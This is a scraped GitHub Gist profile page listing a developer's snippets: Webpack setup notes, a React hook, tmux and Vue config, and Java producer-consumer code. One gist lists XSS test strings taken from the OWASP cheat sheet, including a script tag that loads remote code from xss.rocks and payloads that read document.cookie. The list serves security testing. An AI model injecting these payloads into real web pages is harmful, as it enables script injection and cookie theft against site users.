Skip to content

Instantly share code, notes, and snippets.

View markselby9's full-sized avatar
🎯
Focusing

Mark Feng markselby9

🎯
Focusing
View GitHub Profile
@markselby9
markselby9 / webpack.md
Created November 1, 2022 08:56 — forked from nicolasdao/webpack.md
Basic damn Webpack config for simple transpilation ES6 to ES5

Install

npm install -D acorn babel-loader @babel/core @babel/preset-env babel-polyfill webpack webpack-cli uglifyjs-webpack-plugin --save-dev

webpack-cli and acorn are dependencies that you, unfortunately, have to install if you want to run this god damn thing without any obscure warnings or errors.

Build

Configure Webpack

@markselby9
markselby9 / useEffectDebugger.js
Last active November 24, 2023 20:56
A `useEffectDebugger` hook to debug which dependency changed causing `useEffect` hook to fire
// a code snippet living in a component
// source: https://stackoverflow.com/a/59843241/3600510
const usePrevious = (value, initialValue) => {
const ref = useRef(initialValue);
useEffect(() => {
ref.current = value;
});
return ref.current;
};
const useEffectDebugger = (effectHook, dependencies, dependencyNames = []) => {
@markselby9
markselby9 / XSS-attack-strings
Last active July 21, 2020 03:28
A list of raw string values that each line can be used for testing XSS attack. Extracted from [OWASP Cheat Sheet Series](https://owasp.org/www-project-cheat-sheets/)
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
@markselby9
markselby9 / .tmux.conf
Last active February 10, 2020 12:33
.tmux.conf file being used in my Macbook
# Setting the prefix from C-b to C-a
set -g prefix C-a
# Free the original Ctrl-b prefix keybinding
unbind C-b
# setting the delay between prefix and command
set -s escape-time 1
# Ensure that we can send Ctrl-A to other apps
bind C-a send-prefix
@markselby9
markselby9 / App.vue
Created July 25, 2017 15:38
vue decorator using 'vue-class-component'
<template>
<div>
<input v-model="msg">
<!--<p>prop: {{propMessage}}</p>-->
<p>msg: {{msg}}</p>
<!--<p>helloMsg: {{helloMsg}}</p>-->
<p>computed msg: {{computedMsg}}</p>
<button @click="greet">Greet</button>
</div>
</template>
@markselby9
markselby9 / ProducerConsumerProblemWithBuffer.java
Created September 7, 2016 06:23
Producer Consumer problem, with a buffer whose max size is 10. The chef and waiter start working with random time needed each time, so randomly the buffer would be full or empty at some time.
import java.util.ArrayList;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import static java.lang.Thread.sleep;
/**
* Created by fengchaoyi on 16/9/6.
@markselby9
markselby9 / ProducerConsumerProblem.java
Created September 7, 2016 05:39
Producer Comsumer problem using wait() and notify(), in Java
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
/**
* Created by fengchaoyi on 16/9/6.
*/
//Thinking in Java P703
public class ProducerConsumerProblem {